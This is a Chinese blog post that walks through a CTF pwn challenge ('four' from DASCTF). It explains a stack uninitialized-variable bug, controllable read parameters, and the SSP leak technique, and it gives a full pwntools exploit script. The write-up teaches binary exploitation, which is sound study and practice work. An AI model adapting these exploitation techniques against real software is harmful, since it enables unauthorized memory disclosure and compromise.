记录一次未初始化漏洞_four

对一道关于未初始化漏洞的题目的总结,来自前几天的DASCTF。

这道题总体不算难,我觉得更多的考了代码审计能力(也有可能是本人初学,看伪c没经验,所以觉得很复杂,中间看了看wp对这道题才恍然大悟)因为作为一道栈题来说,伪c算挺长的了。

题目链接:链接:https://pan.baidu.com/s/1zgH8eOMW-zgmFZH0ga0qZg 提取码:1234

查看保护

img

IDA静态分析

代码审计

在main函数中可以进入5个子函数,不过只能进入4次。img

这个函数的作用就像puts函数打印一样,可以泄露出libc,但是会关闭标准错误。img

这里存在栈溢出,但是开了canary,无法直接利用,而且难以泄露canary,之后会关闭标准输出。由于这个if判断条件的限制,溢出只能进行一次。img

这个函数无法溢出,但是可以调用了400af7函数,可以输入两万多字节,这里我要注意一下,踩了个坑,刚开始看的时候习惯性地以为通过read输入的两万字节都到了buf,但是看c代码每次循环都把buf赋值为0,就很不理解,之后反复看才发现,buf只是一个桥梁,输入的数据只要不是换行符,都会一字节一字节地被读入到v4这个数组中(就是调用400af7时传递的第一个参数,在400af7中为a1),之后调用了4009a7函数,这个函数会替换数组中的一些字符,看着没大用。输入Y或者y以外的字符可以绕过。img

这个函数先向s数组中输入250字节内容,然后进入for循环,循环次数为s数组字节数,如果索引能整除v1或者v2,就把s数组中内容放到buf数组,如果索引能被v3整除,就把buf第i-1个值赋为@。之后让输入了文件名,之后进行比较,如果输入的s1不是“output.txt”就把s1改为“output.txt”,再赋值给dest,并打开open(dest),下一步如果输入yes就会从buf中取数据写到dest,然后关闭dest的文件描述符
img

这个函数先把delim赋值为“>”,它作为一个分隔符将输入的s字符串分割成子字符串,再把子字符串依次赋值给i。 如果子字符串是以“:”开头,并且后面三个字符不为空,第四个字符为空,就把三个字符的ascii码赋值给v6(我认为是因为v6为int类型,所以把字符赋给整型就取了ASCII码),第[j+1]、+2、+3个字符分别赋值给v6的低8字节,次低8字节,高16字节的低8字节。之后做了位运算,把三个数的和转换为void指针作为read第二个参数。 如果子字符串以“~”开头并且下一个字符的ascii码大于“/”小于“9”,那么该ascii码就作为read函数的第一个参数。 如果子字符串以“@”开头,并且下一个字符的ascii码大于“`”小于等于“z”,第[j+2]个字符是“*”,就把第[j+1]个字符的ascii码给v1作为read函数第3个参数。也就是说read函数的参数在一定程度上是可控的。!img

read的第二个参数是如何任意控制的

这里解释一下read的第二个参数的产生过程。

p.sendlineafter(b"your choice : \n",str(4))
payload=b'11>:`#!>@a*>~3'
p.sendlineafter(b'info>>\n',payload)

比如,给数组s输入如上字符串,那么它会被分割为“11”,“:`#!”,“@a*”,“~3”。 第一个11没什么用,第二个子字符串最终作为read第二个参数0x602321,第三个将read第三个参数变成“a”,也就是ascii码的61,最后一个子字符串将read第一个参数文件描述符变为3。就v6的低八字节而言,刚开始 LOBYTE(v6)处(也就是rbp-0x114)为0,如下图所示。img

执行完红圈的指令后,img

它的值将变成0x60。img

剩余两位变化和0x60一样,if中的三步结束后内存里放的是0x212360,在read参数的位置又将三个字节进行了位运算求和才变成0x602123(就是子字符串“:`#!”)。

最终read的第二个参数为0x602321。img

存在漏洞

存在栈溢出img
存在未初始化漏洞

dest是未初始化的,它在栈中偏移为0x230。img

img

400af7函数可以向v4写入两万多个字节,它在栈中偏移为0x6010,加上0x5f00个字节的数据就可以覆盖到dest,也就是说dest在一定程度上是可控的。img

img

read函数在一定程度上可控

但是fd做了限制,只能从其他文件描述符读取数据到任意位置img

利用思路

赛题给了hiti说泄露libc没用,攻击流程就是输入两万多字节的“flag”,利用未初始化漏洞控制dest内容为flag,再open(dest),控制read函数从文件描述符为3的flag文件中读取flag到bss段,利用栈溢出打ssp leak通过触发canary来打印写在bss段的flag。

exp

from tools import *
context.log_level='debug'
p=process("./four")
#debug(p,0x40141F)
#输入大量flag字符串使其残留栈中,用于利用未初始化漏洞
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(0x5fef))
payload=b'aa'+b'flag\x00'*0x1300
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)

#打开dest(此时由于其未初始化,值已经变成“flag”)
p.sendlineafter(b"Really?\n",'n')
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
p.sendlineafter(b"Enter mode:",str(2))
p.sendlineafter(b"Enter X:",str(3))
payload=b'a'*0x10
p.sendlineafter(b"Enter a string: ",payload)
p.sendlineafter(b"please input filename\n",b'output.txt')#使数组s1等于output.txt,这样在之后的if中dest就不会被赋值,仍然为“flag”
p.sendlineafter(b"1. yes\n2.no\n",str(2))  #保持fd=3(就是flag文件)开启

#用于控制read函数将flag文件的内容读取到bss段
p.sendlineafter(b"your choice : \n",str(4))
payload=b':`#!>@a*>~3'
p.sendlineafter(b'info>>\n',payload)
	
利用栈溢出打ssp leak触发canary泄露存在于bss段的flag文件
p.sendlineafter(b"your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602321)
#payload=p64(0xdeadbeef)*2
p.sendlineafter(b"This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)

p.interactive()

img

奇怪的知识又增长了

这道题我是看了wp才懂的,才学没多久,这个ssp leak也是头一次见。

ssp leak

针对于canary的一种利用方法,SSP(Stack Smashing Protect) Leak,可以泄露出内存中的数据,如果内存中存在flag,就可以把它泄露出来。当我们输入的数据溢出修改了canary后,函数会跳转到call __stack_chk_fail,执行该函数来kill进程,随后打印出****stack smashing detected ***:[程序名字] terminated(如下图,运行了four程序,触发了canary),这个程序名字是存在于某个外部变量的(ELF格式里面不保存程序名),那也就是说我们有机会对其进行篡改。源码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

img

第二个%s的参数是argv[0],这是一个存在于栈中的指针,它存储的就是程序名,最开始作为main函数的参数被传递进来,见下图,那就是说,如果我能向栈中输入足够长的数据,覆盖掉argv指针为我想泄露的内容的地址,在触发canary后就会将其打印出来。img

那么问题来了,如何才能覆盖到argv呢

暴力填充

全部填入想泄露数据的内存地址,只要read允许输入的字节足够多,总有一个能覆盖argv指针。

精准填充

计算偏移,精准填充,算出argv[0]的指针距离输入缓冲区的栈顶的偏移量,就知道了需要填充多少位的垃圾数据才能覆盖到 *argv[0]。先使程序走到call _stack_chk)fail@plt,此时查看栈中数据,找到程序名字所在的那一行,行开头的数字就是argv距离栈顶的偏移,如下图,我通过read输入了p64(0xdeadbeef)进行测试(因为这道题的缓冲区很小,此时已经触发了canary),见图上红圈处,此时程序已经走到call _stack_chk)fail@plt,查看栈内容,发现栈中有两行都存着程序名(黑圈和蓝圈),但是我们要找的东西是:“栈地址里放着一个argv指针(由于argv存在栈中,所以也是以栈地址的形式存在),argv指针里放着一个字符串”,那也就是蓝色圈的那一行,可以看到行首偏移是0x118字节。img

也就是说我们输入0x118个垃圾数据,之后再输入的就会覆盖argv,于是我输入payload=“a”*0x118+p64(0x602321)进行验证,程序走到call _stack_chk_fail@plt查看栈中数据,果然,距离rsp的偏移为0x118处的数据被覆盖为0x602321。img 程序走完后_stack_chk_fail也成功打印出了flag。img

值得注意的是

ssp leak仅仅在乌班图16上适用!!!
在libc-2.25启用了一个新的函数_fortify_fail_abort,试图对该泄露问题进行修复。函数的第一个参数为false时,将不再进行栈回溯,而是直接打印出字符串“unknown”,那么也就无法输出argv[0]了。 img

C语言的strtok函数

将一个字符串按照指定的分隔符进行分割。以下图为例,在第一次调用strtok时,s和delim作为参数传递给该函数。strtok函数将从s中查找delim中的第一个字符,并用字符串结束符\0替换该字符。然后,strtok函数返回指向第一个子字符串的指针i,这个子字符串是从s开始到第一个出现delim字符的位置。在后续的调用中,strtok函数将传入空指针,这将导致该函数从上一个被查找的子字符串的下一个字符开始搜索下一个子字符串,直到所有子字符串都被分解完毕。

img

几条汇编指令

shl eax, 0x10——>使用逻辑左移(logical shift left)操作将32位寄存器eax中的值左移16位,并将结果存储回eax寄存器中。逻辑左移是指在二进制数的右侧插入0,左移n位就相当于乘以2^n。因此,这个代码行将eax中的值乘以了2的16次方

shr eax, 0x10——>同上,只不过是逻辑右移,相当于除2^n。

movsx eax, al——>使用符号扩展(sign-extension)将一个8位的寄存器al中的值扩展为32位,并将结果存储在32位的寄存器eax中。符号扩展是指将原始值的最高位复制到所有新添加的位,以保持有符号整数的符号不变。这意味着,如果al的最高位为1,eax中所有新添加的位都将填充为1。如果al的最高位为0,eax中所有新添加的位都将填充为0。

cdqe——>类似于上面那一条,用于将符号扩展eax寄存器中的32位值到rax寄存器中的64位值。它的作用是将eax中的值(有符号数)的符号位扩展到rax的高32位,使得rax中的值为eax中的值的符号扩展后的64位表示,以便进行64位整数运算。

mov qword ptr [rbp+s], 0——>将值0复制到地址为[rbp+s]的内存位置,qword为四倍字长,一个字长相当于两个字节,此处表示占64个2进制位。与之类似的,dword为两倍字长,32位。bytes位一字节,8位。

为什么

之所写这个博客的原因,一个是做一个小结,想检验一下自己是否真正掌握了这些知识点,能不能把它流利地写出来,也方便自己以后复习。再者就是想记录一下自己的成长,还蛮有意义的。还有就是如果能为其他人提供到一点帮助的话那我真是万分荣幸。最后就是我对于有些地方的理解可能还是有偏差,求指正。

参考链接

Stack Canary - at0de - 博客园 (cnblogs.com)

posted @ 2023-04-27 12:53  Sta8r9  阅读(178)  评论(3编辑  收藏  举报